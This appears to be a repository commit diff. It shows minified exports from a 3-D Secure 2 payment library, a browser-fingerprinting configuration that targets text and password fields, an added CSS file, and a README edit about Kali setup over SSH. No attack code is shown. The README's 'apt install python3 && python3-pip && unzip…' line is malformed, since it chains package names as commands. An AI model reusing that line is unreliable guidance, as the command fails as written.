Base64URL,exports.BaseContainerValidator=BaseContainerValidator,exports.BaseException=BaseException,exports.BaseValidator=BaseValidator,exports.BooleanYesNo=BooleanYesNo,exports.BrowserColorDepthType=BrowserColorDepthType,exports.CancelIndicator=CancelIndicator,exports.Challenge=Challenge,exports.ChallengeOutcome=ChallengeOutcome,exports.ChallengeParameters=ChallengeParameters,exports.ChallengeResponse=ChallengeResponse,exports.Convertible=Convertible,exports.CountryCode=CountryCode,exports.CryptoType=
CryptoType,exports.CurrencyCode=CurrencyCode,exports.CustomConvertible=CustomConvertible,exports.DateUtils=DateUtils,exports.DoubleValidator=DoubleValidator,exports.EMVCompletionEvent=EMVCompletionEvent,exports.EMVErrorMessage=EMVErrorMessage,exports.EMVProtocolErrorEvent=EMVProtocolErrorEvent,exports.EMVRuntimeErrorEvent=EMVRuntimeErrorEvent,exports.Email=Email,exports.Enumerable=Enumerable,exports.ErrorCode=ErrorCode,exports.ErrorComponent=ErrorComponent,exports.FieldMetadata=FieldMetadata,exports.HTTPLimitedTimingData=
HTTPLimitedTimingData,exports.ICopyable=ICopyable,exports.ICustomConvertible=ICustomConvertible,exports.IMetadataProvider=IMetadataProvider,exports.INdsConnection=INdsConnection,exports.INonStringable=INonStringable,exports.IP=IP,exports.ISyncable=ISyncable,exports.IValidatable=IValidatable,exports.IllegalArgumentException=IllegalArgumentException,exports.ImageSizes=ImageSizes,exports.Init=Init,exports.IntValidator=IntValidator,exports.Interface=Interface,exports.InvalidValueException=InvalidValueException,
exports.JsonDecodeException=JsonDecodeException,exports.JsonSerializer=JsonSerializer,exports.MapContainerValidator=MapContainerValidator,exports.MathUtil=MathUtil,exports.MessageCategoryType=MessageCategoryType,exports.MessageExtensionAttributes=MessageExtensionAttributes,exports.MessageVersionType=MessageVersionType,exports.MetadataUtils=MetadataUtils,exports.MsgType=MsgType,exports.NDObject=NDObject,exports.NumericEnumerable=NumericEnumerable,exports.ObjectContainerValidator=ObjectContainerValidator,
exports.ObjectUtils=ObjectUtils,exports.ObjectValidator=ObjectValidator,exports.Phone=Phone,exports.Property=Property,exports.ResultsResponse=ResultsResponse,exports.SecureString=SecureString,exports.StatusMsg=StatusMsg,exports.StringValidator=StringValidator,exports.SupportedVersionsResponse=SupportedVersionsResponse,exports.TernaryYesNoUnavailable=TernaryYesNoUnavailable,exports.TextUtils=TextUtils,exports.ThreeDS2Service=ThreeDS2Service,exports.ThreeDSDate=ThreeDSDate,exports.ThreeDSError=ThreeDSError,
exports.ThreeDSRequest=ThreeDSRequest,exports.ThreeDSResponse=ThreeDSResponse,exports.ThreeDSWidget=ThreeDSWidget,exports.TransactionReason=TransactionReason,exports.TransactionStatus=TransactionStatus,exports.URL=URL,exports.UUID=UUID,exports.ValidationException=ValidationException,exports.ValidationResult=ValidationResult,exports.Validator=Validator,exports.WhitelistStatus=WhitelistStatus,exports.WhitelistStatusSource=WhitelistStatusSource,exports.WidgetBrowserData=WidgetBrowserData,exports.WidgetOutcomeMessage=
WidgetOutcomeMessage,exports.WindowSize=WindowSize,exports.XMLHttpRequestConnection=XMLHttpRequestConnection);
"undefined"!==typeof module&&"undefined"!==typeof module.exports&&(module.exports.ACSInterface=ACSInterface,module.exports.ACSRenderingType=ACSRenderingType,module.exports.ACSUITemplate=ACSUITemplate,module.exports.APIResponse=APIResponse,module.exports.Action=Action,module.exports.ApiVersionType=ApiVersionType,module.exports.ArrayContainerValidator=ArrayContainerValidator,module.exports.AuthenticationRequestWebParameters=AuthenticationRequestWebParameters,module.exports.AuthenticationResponse=AuthenticationResponse,
module.exports.AuthenticationType=AuthenticationType,module.exports.Base64=Base64,module.exports.Base64URL=Base64URL,module.exports.BaseContainerValidator=BaseContainerValidator,module.exports.BaseException=BaseException,module.exports.BaseValidator=BaseValidator,module.exports.BooleanYesNo=BooleanYesNo,module.exports.BrowserColorDepthType=BrowserColorDepthType,module.exports.CancelIndicator=CancelIndicator,module.exports.Challenge=Challenge,module.exports.ChallengeOutcome=ChallengeOutcome,module.exports.ChallengeParameters=
ChallengeParameters,module.exports.ChallengeResponse=ChallengeResponse,module.exports.Convertible=Convertible,module.exports.CountryCode=CountryCode,module.exports.CryptoType=CryptoType,module.exports.CurrencyCode=CurrencyCode,module.exports.CustomConvertible=CustomConvertible,module.exports.DateUtils=DateUtils,module.exports.DoubleValidator=DoubleValidator,module.exports.EMVCompletionEvent=EMVCompletionEvent,module.exports.EMVErrorMessage=EMVErrorMessage,module.exports.EMVProtocolErrorEvent=EMVProtocolErrorEvent,
module.exports.EMVRuntimeErrorEvent=EMVRuntimeErrorEvent,module.exports.Email=Email,module.exports.Enumerable=Enumerable,module.exports.ErrorCode=ErrorCode,module.exports.ErrorComponent=ErrorComponent,module.exports.FieldMetadata=FieldMetadata,module.exports.HTTPLimitedTimingData=HTTPLimitedTimingData,module.exports.ICopyable=ICopyable,module.exports.ICustomConvertible=ICustomConvertible,module.exports.IMetadataProvider=IMetadataProvider,module.exports.INdsConnection=INdsConnection,module.exports.INonStringable=
INonStringable,module.exports.IP=IP,module.exports.ISyncable=ISyncable,module.exports.IValidatable=IValidatable,module.exports.IllegalArgumentException=IllegalArgumentException,module.exports.ImageSizes=ImageSizes,module.exports.Init=Init,module.exports.IntValidator=IntValidator,module.exports.Interface=Interface,module.exports.InvalidValueException=InvalidValueException,module.exports.JsonDecodeException=JsonDecodeException,module.exports.JsonSerializer=JsonSerializer,module.exports.MapContainerValidator=
MapContainerValidator,module.exports.MathUtil=MathUtil,module.exports.MessageCategoryType=MessageCategoryType,module.exports.MessageExtensionAttributes=MessageExtensionAttributes,module.exports.MessageVersionType=MessageVersionType,module.exports.MetadataUtils=MetadataUtils,module.exports.MsgType=MsgType,module.exports.NDObject=NDObject,module.exports.NumericEnumerable=NumericEnumerable,module.exports.ObjectContainerValidator=ObjectContainerValidator,module.exports.ObjectUtils=ObjectUtils,module.exports.ObjectValidator=
ObjectValidator,module.exports.Phone=Phone,module.exports.Property=Property,module.exports.ResultsResponse=ResultsResponse,module.exports.SecureString=SecureString,module.exports.StatusMsg=StatusMsg,module.exports.StringValidator=StringValidator,module.exports.SupportedVersionsResponse=SupportedVersionsResponse,module.exports.TernaryYesNoUnavailable=TernaryYesNoUnavailable,module.exports.TextUtils=TextUtils,module.exports.ThreeDS2Service=ThreeDS2Service,module.exports.ThreeDSDate=ThreeDSDate,module.exports.ThreeDSError=
ThreeDSError,module.exports.ThreeDSRequest=ThreeDSRequest,module.exports.ThreeDSResponse=ThreeDSResponse,module.exports.ThreeDSWidget=ThreeDSWidget,module.exports.TransactionReason=TransactionReason,module.exports.TransactionStatus=TransactionStatus,module.exports.URL=URL,module.exports.UUID=UUID,module.exports.ValidationException=ValidationException,module.exports.ValidationResult=ValidationResult,module.exports.Validator=Validator,module.exports.WhitelistStatus=WhitelistStatus,module.exports.WhitelistStatusSource=
WhitelistStatusSource,module.exports.WidgetBrowserData=WidgetBrowserData,module.exports.WidgetOutcomeMessage=WidgetOutcomeMessage,module.exports.WindowSize=WindowSize,module.exports.XMLHttpRequestConnection=XMLHttpRequestConnection);ndwts({"co":{"gzrq":false,"useNdx":false,"ndsidConfig":{"enable":false,"secure":false,"options":[]},"clientSideCookie":false,"initBindings":null,"initId":"","eventModeEnabled":true,"pageModeConfig":{"enable":true,"formbind":[],"inputFieldName":"nds-pmd","encodeData":true,"options":[],"wt":"1.w-666234.1.2.7akq-7dmKLBy9-E-LkkyTw,,.LSjkkQzLX9ixEvX16dXM_yANfQ8Gt79AsrvL7l1d4DTxCqHirTEV2aAfBdI9qdkoDY3d9rsDfUgNVYAMYplZib2DXc9nGtE9tL2YGDGCQQfs6PL8V-qShNGb8p1dyT8_Mb8P630WHOkO2YZnmD_V5j0TaaGD-Qv1boF30THS7tV5S0356O7jcZBVmdngdXTu_uHKVLQzuOYkR9qTssMt56mLuvnkcdbzFWEse4hC4yG1GjqJkl8gltrJu6mG8X0w"}},"ml":{"id":[],"i":{"bi":"bi","ls":"ls"},"c":{"ua":"ua","bp":"bp","sr":"sr","didtz":"didtz","af":"af","wkr":"wkr","flv":"flv","fv":"fv","fa":"fa","hf":"hf","pl":"pl","ft":"ft","fc":"fc","fs":"fs","wg":"wg","bd":"bd","jsv":"jsv","p":"p","ipr":"ipr"},"pmd":{"bp":"bp","sr":"sr","didtz":"didtz","af":"af","wkr":"wkr","flv":"flv","fv":"fv","fa":"fa","hf":"hf","pl":"pl","ft":"ft","fc":"fc","fs":"fs","wg":"wg","fm":"fm","bd":"bd","jsv":"jsv","ipr":"ipr"}},"wmd":{"ipr":{"fm":[],"lm":true,"bh":false,"tl":20000},"wk":{"r":"test"},"di":{"rt":128,"ut":512,"ac":true},"af":{"e":false,"gtfs":"input[type=\"text\"],input[type=\"password\"]","rms":"input[name=\"remember-me\"]"}},"fd":{"ipr":"p","bi":"p"},"wc":"application\/javascript"})

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

View File

@ -0,0 +1 @@
.liquid-container{position:relative;overflow:hidden;-webkit-transform:translateY(0);-moz-transform:translateY(0);transform:translateY(0)}.liquid-child{overflow:hidden}

View File

@ -88,7 +88,7 @@ When kali will run it'll ask for password type the ssh password.Then do su.After
```
```
apt install python3 && python3-pip && unzip && php && git
sudo apt install python3 && python3-pip && unzip && php && git
```
```